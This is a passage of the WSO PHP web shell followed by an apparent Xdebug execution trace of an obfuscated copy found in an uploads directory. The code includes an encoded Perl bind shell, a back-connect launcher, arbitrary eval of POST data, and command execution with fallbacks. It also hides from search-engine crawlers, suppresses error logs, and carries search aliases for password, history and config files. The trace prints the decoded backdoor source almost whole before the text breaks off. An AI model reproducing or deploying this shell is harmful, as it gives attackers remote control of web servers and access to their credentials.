$bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>\n\r\t<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">\n\r\t<span>Bind port to /bin/sh [perl]</span><br/>\n\r\tPort: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\n\r\t</form>\n\r\t<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">\n\r\t<span>Back-connect [perl]</span><br/>\n\r\tServer: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\n\r\t</form><br>";
if (isset($_POST['p1'])) {
function cf($f, $t)
{
$w = @fopen($f, "w") or @function_exists('file_put_contents');
if ($w) {
@fwrite($w, @base64_decode($t));
@fclose($w);
}
}
if ($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl", $bind_port_p);
$out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>{$out}\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
unlink("/tmp/bp.pl");
}
if ($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl", $back_connect_p);
$out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>{$out}\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
unlink("/tmp/bc.pl");
}
}
echo "</div>";
wsoFooter();
}
function actionRC()
{
if (!@$_POST['p1']) {
$a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if (empty($_POST['a'])) {
if (isset($default_action) && function_exists('action' . $default_action)) {
$_POST['a'] = $default_action;
} else {
$_POST['a'] = 'SecInfo';
}
}
if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
call_user_func('action' . $_POST['a']);
}
exit;
};
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:32:56.690903]
1 0 1 0.000149 393528
1 3 0 0.000619 509560 {main} 1 /var/www/html/uploads/00977a.php 0 0
2 4 0 0.000637 509560 error_reporting 0 /var/www/html/uploads/00977a.php 2 1 0
2 4 1 0.000652 509600
2 4 R 0
2 5 0 0.000665 509560 set_time_limit 0 /var/www/html/uploads/00977a.php 2 1 0
2 5 1 0.000680 509624
2 5 R FALSE
1 A /var/www/html/uploads/00977a.php 3 $code = '%3Btixe%0D%0A%3B%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28cnuf_resu_llac%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29%5D%27a%27%5BTSOP_%24%28ytpme%21+%28fi%0D%0A%3B%27ofnIceS%27+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0Aesle%09%0D%0A%3Bnoitca_tluafed%24+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0A%29%29noitca_tluafed%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29noitca_tluafed%24%28tessi%28fi%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24%28ytpme+%28fi%0D%0A%7D%0D%0A%7D%09%0D%0A%3B%29%5D%271p%'
2 6 0 0.000786 509592 urldecode 0 /var/www/html/uploads/00977a.php 4 1 '%3Btixe%0D%0A%3B%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28cnuf_resu_llac%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29%5D%27a%27%5BTSOP_%24%28ytpme%21+%28fi%0D%0A%3B%27ofnIceS%27+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0Aesle%09%0D%0A%3Bnoitca_tluafed%24+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0A%29%29noitca_tluafed%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29noitca_tluafed%24%28tessi%28fi%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24%28ytpme+%28fi%0D%0A%7D%0D%0A%7D%09%0D%0A%3B%29%5D%271p%'
2 6 1 0.001713 624312
2 6 R ';tixe\r\n;)]\'a\'[TSOP_$ . \'noitca\'(cnuf_resu_llac\t\r\n) )]\'a\'[TSOP_$ . \'noitca\'(stsixe_noitcnuf && )]\'a\'[TSOP_$(ytpme! (fi\r\n;\'ofnIceS\' = ]\'a\'[TSOP_$\t\t\r\nesle\t\r\n;noitca_tluafed$ = ]\'a\'[TSOP_$\t\t\r\n))noitca_tluafed$ . \'noitca\'(stsixe_noitcnuf && )noitca_tluafed$(tessi(fi\t\r\n) )]\'a\'[TSOP_$(ytpme (fi\r\n}\r\n}\t\r\n;)]\'1p\'[TSOP_$(lave\t\t\r\n{ esle }\t\r\n;)a$(ezilaires ohce\t\t\r\n;)\t\t\r\n)\'edom_efas\'(teg_ini@ >= "edomefas"\t\t\t\r\n,NOISREV_OSW >= "noisrev_osw"\t\t\t\r\n,'
1 A /var/www/html/uploads/00977a.php 4 $code = ';tixe\r\n;)]\'a\'[TSOP_$ . \'noitca\'(cnuf_resu_llac\t\r\n) )]\'a\'[TSOP_$ . \'noitca\'(stsixe_noitcnuf && )]\'a\'[TSOP_$(ytpme! (fi\r\n;\'ofnIceS\' = ]\'a\'[TSOP_$\t\t\r\nesle\t\r\n;noitca_tluafed$ = ]\'a\'[TSOP_$\t\t\r\n))noitca_tluafed$ . \'noitca\'(stsixe_noitcnuf && )noitca_tluafed$(tessi(fi\t\r\n) )]\'a\'[TSOP_$(ytpme (fi\r\n}\r\n}\t\r\n;)]\'1p\'[TSOP_$(lave\t\t\r\n{ esle }\t\r\n;)a$(ezilaires ohce\t\t\r\n;)\t\t\r\n)\'edom_efas\'(teg_ini@ >= "edomefas"\t\t\t\r\n,NOISREV_OSW >= "noisrev_osw"\t\t\t\r\n,'
2 7 0 0.002032 624280 strrev 0 /var/www/html/uploads/00977a.php 4 1 ';tixe\r\n;)]\'a\'[TSOP_$ . \'noitca\'(cnuf_resu_llac\t\r\n) )]\'a\'[TSOP_$ . \'noitca\'(stsixe_noitcnuf && )]\'a\'[TSOP_$(ytpme! (fi\r\n;\'ofnIceS\' = ]\'a\'[TSOP_$\t\t\r\nesle\t\r\n;noitca_tluafed$ = ]\'a\'[TSOP_$\t\t\r\n))noitca_tluafed$ . \'noitca\'(stsixe_noitcnuf && )noitca_tluafed$(tessi(fi\t\r\n) )]\'a\'[TSOP_$(ytpme (fi\r\n}\r\n}\t\r\n;)]\'1p\'[TSOP_$(lave\t\t\r\n{ esle }\t\r\n;)a$(ezilaires ohce\t\t\r\n;)\t\t\r\n)\'edom_efas\'(teg_ini@ >= "edomefas"\t\t\t\r\n,NOISREV_OSW >= "noisrev_osw"\t\t\t\r\n,'
2 7 1 0.002206 693944
2 7 R '$auth_pass = "";\n\r$color = "#df5";\n\r$default_action = \'FilesMan\';\n\r$default_use_ajax = true;\n\r$default_charset = \'Windows-1251\';\n\r\n\rif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\r $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\r if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\r header(\'HTTP/1.0 404 Not Found\');\n\r exit;\n\r }\n\r}\n\r\n\r@ini_set(\'error_log\',NULL);\n\r@ini_set'
1 A /var/www/html/uploads/00977a.php 4 $code = '$auth_pass = "";\n\r$color = "#df5";\n\r$default_action = \'FilesMan\';\n\r$default_use_ajax = true;\n\r$default_charset = \'Windows-1251\';\n\r\n\rif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\r $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\r if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\r header(\'HTTP/1.0 404 Not Found\');\n\r exit;\n\r }\n\r}\n\r\n\r@ini_set(\'error_log\',NULL);\n\r@ini_set'
2 8 0 0.004654 1143112 eval 1 '$auth_pass = "";\n\r$color = "#df5";\n\r$default_action = \'FilesMan\';\n\r$default_use_ajax = true;\n\r$default_charset = \'Windows-1251\';\n\r\n\rif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\r $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\r if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\r header(\'HTTP/1.0 404 Not Found\');\n\r exit;\n\r }\n\r}\n\r\n\r@ini_set(\'error_log\',NULL);\n\r@ini_set(\'log_errors\',0);\n\r@ini_set(\'max_execution_time\',0);\n\r@set_time_limit(0);\n\r@define(\'WSO_VERSION\', \'2.5\');\n\r\n\rif(get_magic_quotes_gpc()) {\n\r\tfunction WSOstripslashes($array) {\n\r\t\treturn is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\n\r\t}\n\r\t$_POST = WSOstripslashes($_POST);\n\r $_COOKIE = WSOstripslashes($_COOKIE);\n\r}\n\r\n\rfunction wsoLogin() {\n\r\tdie("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=\'>>\'></form></pre>");\n\r}\n\r\n\rfunction WSOsetcookie($k, $v) {\n\r $_COOKIE[$k] = $v;\n\r setcookie($k, $v);\n\r}\n\r\n\rif(!empty($auth_pass)) {\n\r if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n\r WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n\r\n\r if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n\r wsoLogin();\n\r}\n\r\n\rif(strtolower(substr(PHP_OS,0,3)) == "win")\n\r\t$os = \'win\';\n\relse\n\r\t$os = \'nix\';\n\r\n\r$safe_mode = @ini_get(\'safe_mode\');\n\rif(!$safe_mode)\n\r error_reporting(0);\n\r\n\r$disable_functions = @ini_get(\'disable_functions\');\n\r$home_cwd = @getcwd();\n\rif(isset($_POST[\'c\']))\n\r\t@chdir($_POST[\'c\']);\n\r$cwd = @getcwd();\n\rif($os == \'win\') {\n\r\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\r\t$cwd = str_replace("\\\\", "/", $cwd);\n\r}\n\rif($cwd[strlen($cwd)-1] != \'/\')\n\r\t$cwd .= \'/\';\n\r\n\rif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n\r $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n\r\n\rif($os == \'win\')\n\r\t$aliases = array(\n\r\t\t"List Directory" => "dir",\n\r \t"Find index.php in current dir" => "dir /s /w /b index.php",\n\r \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n\r \t"Show active connections" => "netstat -an",\n\r \t"Show running services" => "net start",\n\r \t"User accounts" => "net user",\n\r \t"Show computers" => "net view",\n\r\t\t"ARP Table" => "arp -a",\n\r\t\t"IP Configuration" => "ipconfig /all"\n\r\t);\n\relse\n\r\t$aliases = array(\n\r \t\t"List dir" => "ls -lha",\n\r\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n\r \t\t"show opened ports" => "netstat -an | grep -i listen",\n\r "process status" => "ps aux",\n\r\t\t"Find" => "",\n\r \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n\r \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n\r \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n\r \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n\r \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n\r \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n\r \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n\r \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n\r \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n\r \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n\r \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n\r \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n\r \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n\r \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\n\r \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n\r \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n\r \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\r\t\t"Locate" => "",\n\r \t\t"locate httpd.conf files" => "locate httpd.conf",\n\r\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\r\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\r\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\r\t\t"locate my.conf files" => "locate my.conf",\n\r\t\t"locate admin.php files" =>"locate admin.php",\n\r\t\t"locate cfg.php files" => "locate cfg.php",\n\r\t\t"locate conf.php files" => "locate conf.php",\n\r\t\t"locate config.dat files" => "locate config.dat",\n\r\t\t"locate config.php files" => "locate config.php",\n\r\t\t"locate config.inc files" => "locate config.inc",\n\r\t\t"locate config.inc.php" => "locate config.inc.php",\n\r\t\t"locate config.default.php files" => "locate config.default.php",\n\r\t\t"locate config* files " => "locate config",\n\r\t\t"locate .conf files"=>"locate \'.conf\'",\n\r\t\t"locate .pwd files" => "locate \'.pwd\'",\n\r\t\t"locate .sql files" => "locate \'.sql\'",\n\r\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\r\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\r\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\r\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\r\t\t"locate backup files" => "locate backup",\n\r\t\t"locate dump files" => "locate dump",\n\r\t\t"locate priv files" => "locate priv"\n\r\t);\n\r\n\rfunction wsoHeader() {\n\r\tif(empty($_POST[\'charset\']))\n\r\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n\r\tglobal $color;\n\r\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title>\n\r<style>\n\rbody{background-color:#444;color:#e1e1e1;}\n\rbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\n\rtable.info{ color:#fff;background-color:#222; }\n\rspan,h1,a{ color: $color !important; }\n\rspan{ font-weight: bolder; }\n\rh1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\n\rdiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\n\ra{ text-decoration:none; }\n\ra:hover{ text-decoration:underline; }\n\r.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n\r.bigarea{ width:100%;height:300px; }\n\rinput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }\n\rform{ margin:0px; }\n\r#toolsTbl{ text-align:center; }\n\r.toolsInp{ width: 300px }\n\r.main th{text-align:left;background-color:#5e5e5e;}\n\r.main tr:hover{background-color:#5e5e5e}\n\r.l1{background-color:#444}\n\r.l2{background-color:#333}\n\rpre{font-family:Courier,Monospace;}\n\r</style>\n\r<script>\n\r var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n\r var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n\r var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n\r var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n\r var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n\r var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n\r var d = document;\n\r\tfunction set(a,c,p1,p2,p3,charset) {\n\r\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\r\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\r\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\r\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\r\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\r\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\r\t}\n\r\tfunction g(a,c,p1,p2,p3,charset) {\n\r\t\tset(a,c,p1,p2,p3,charset);\n\r\t\td.mf.submit();\n\r\t}\n\r\tfunction a(a,c,p1,p2,p3,charset) {\n\r\t\tset(a,c,p1,p2,p3,charset);\n\r\t\tvar params = \'ajax=true\';\n\r\t\tfor(i=0;i<d.mf.elements.length;i++)\n\r\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\r\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\r\t}\n\r\tfunction sr(url, params) {\n\r\t\tif (window.XMLHttpRequest)\n\r\t\t\treq = new XMLHttpRequest();\n\r\t\telse if (window.ActiveXObject)\n\r\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n\r if (req) {\n\r req.onreadystatechange = processReqChange;\n\r req.open(\'POST\', url, true);\n\r req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n\r req.send(params);\n\r }\n\r\t}\n\r\tfunction processReqChange() {\n\r\t\tif( (req.readyState == 4) )\n\r\t\t\tif(req.status == 200) {\n\r\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\r\t\t\t\tvar arr=reg.exec(req.responseText);\n\r\t\t\t\teval(arr[2].substr(0, arr[1]));\n\r\t\t\t} else alert(\'Request error!\');\n\r\t}\n\r</script>\n\r<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>\n\r<form method=post name=mf style=\'display:none;\'>\n\r<input type=hidden name=a>\n\r<input type=hidden name=c>\n\r<input type=hidden name=p1>\n\r<input type=hidden name=p2>\n\r<input type=hidden name=p3>\n\r<input type=hidden name=charset>\n\r</form>";\n\r\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\r\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\r\t$totalSpace = $totalSpace?$totalSpace:1;\n\r\t$release = @php_uname(\'r\');\n\r\t$kernel = @php_uname(\'s\');\n\r\t$explink = \'http://exploit-db.com/search/?action=search&filter_description=\';\n\r\tif(strpos(\'Linux\', $kernel) !== false)\n\r\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\r\telse\n\r\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\r\tif(!function_exists(\'posix_getegid\')) {\n\r\t\t$user = @get_current_user();\n\r\t\t$uid = @getmyuid();\n\r\t\t$gid = @getmygid();\n\r\t\t$group = "?";\n\r\t} else {\n\r\t\t$uid = @posix_getpwuid(posix_geteuid());\n\r\t\t$gid = @posix_getgrgid(posix_getegid());\n\r\t\t$user = $uid[\'name\'];\n\r\t\t$uid = $uid[\'uid\'];\n\r\t\t$group = $gid[\'name\'];\n\r\t\t$gid = $gid[\'gid\'];\n\r\t}\n\r\n\r\t$cwd_links = \'\';\n\r\t$path = explode("/", $GLOBALS[\'cwd\']);\n\r\t$n=count($path);\n\r\tfor($i=0; $i<$n-1; $i++) {\n\r\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\r\t\tfor($j=0; $j<=$i; $j++)\n\r\t\t\t$cwd_links .= $path[$j].\'/\';\n\r\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\r\t}\n\r\n\r\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\r\t$opt_charsets = \'\';\n\r\tforeach($charsets as $item)\n\r\t\t$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\n\r\n\r\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\r\tif(!empty($GLOBALS[\'auth_pass\']))\n\r\t\t$m[\'Logout\'] = \'Logout\';\n\r\t$m[\'Self remove\'] = \'SelfRemove\';\n\r\t$menu = \'\';\n\r\tforeach($m as $k => $v)\n\r\t\t$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\r\n\r\t$drives = "";\n\r\tif($GLOBALS[\'os\'] == \'win\') {\n\r\t\tforeach(range(\'c\',\'z\') as $drive)\n\r\t\tif(is_dir($drive.\':\\\\\'))\n\r\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\r\t}\n\r\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\n\r . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=green><b>OFF</b></font>\')\n\r . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\n\r . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\n\r . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';\n\r}\n\r\n\rfunction wsoFooter() {\n\r\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'green\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\n\r echo "\n\r</div>\n\r<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>\n\r\t<tr>\n\r\t\t<td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\n\r\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\r\t</tr><tr>\n\r\t\t<td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\n\r\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\r\t</tr><tr>\n\r\t\t<td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>\n\r\t\t<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\n\r\t\t<input type=hidden name=a value=\'FilesMAn\'>\n\r\t\t<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\n\r\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\r\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\r\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br ></td>\n\r\t</tr></table></div></body></html>";\n\r}\n\r\n\rif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n\r function posix_getpwuid($p) {return false;} }\n\rif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n\r function posix_getgrgid($p) {return false;} }\n\r\n\rfunction wsoEx($in) {\n\r\t$out = \'\';\n\r\tif (function_exists(\'exec\')) {\n\r\t\t@exec($in,$out);\n\r\t\t$out = @join("\\n",$out);\n\r\t} elseif (function_exists(\'passthru\')) {\n\r\t\tob_start();\n\r\t\t@passthru($in);\n\r\t\t$out = ob_get_clean();\n\r\t} elseif (function_exists(\'system\')) {\n\r\t\tob_start();\n\r\t\t@system($in);\n\r\t\t$out = ob_get_clean();\n\r\t} elseif (function_exists(\'shell_exec\')) {\n\r\t\t$out = shell_exec($in);\n\r\t} elseif (is_resource($f = @popen($in,"r"))) {\n\r\t\t$out = "";\n\r\t\twhile(!@feof($f))\n\r\t\t\t$out .= fread($f,1024);\n\r\t\tpclose($f);\n\r\t}\n\r\treturn $out;\n\r}\n\r\n\rfunction wsoViewSize($s) {\n\r if (is_int($s))\n\r $s = sprintf("%u", $s);\n\r \n\r\tif($s >= 1073741824)\n\r\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\r\telseif($s >= 1048576)\n\r\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\r\telseif($s >= 1024)\n\r\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\r\telse\n\r\t\treturn $s . \' B\';\n\r}\n\r\n\rfunction wsoPerms($p) {\n\r\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\r\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\r\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\r\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\r\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\r\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\r\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\r\telse $i = \'u\';\n\r\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\r\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\r\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\r\t$i .= (($p & 0x0020) 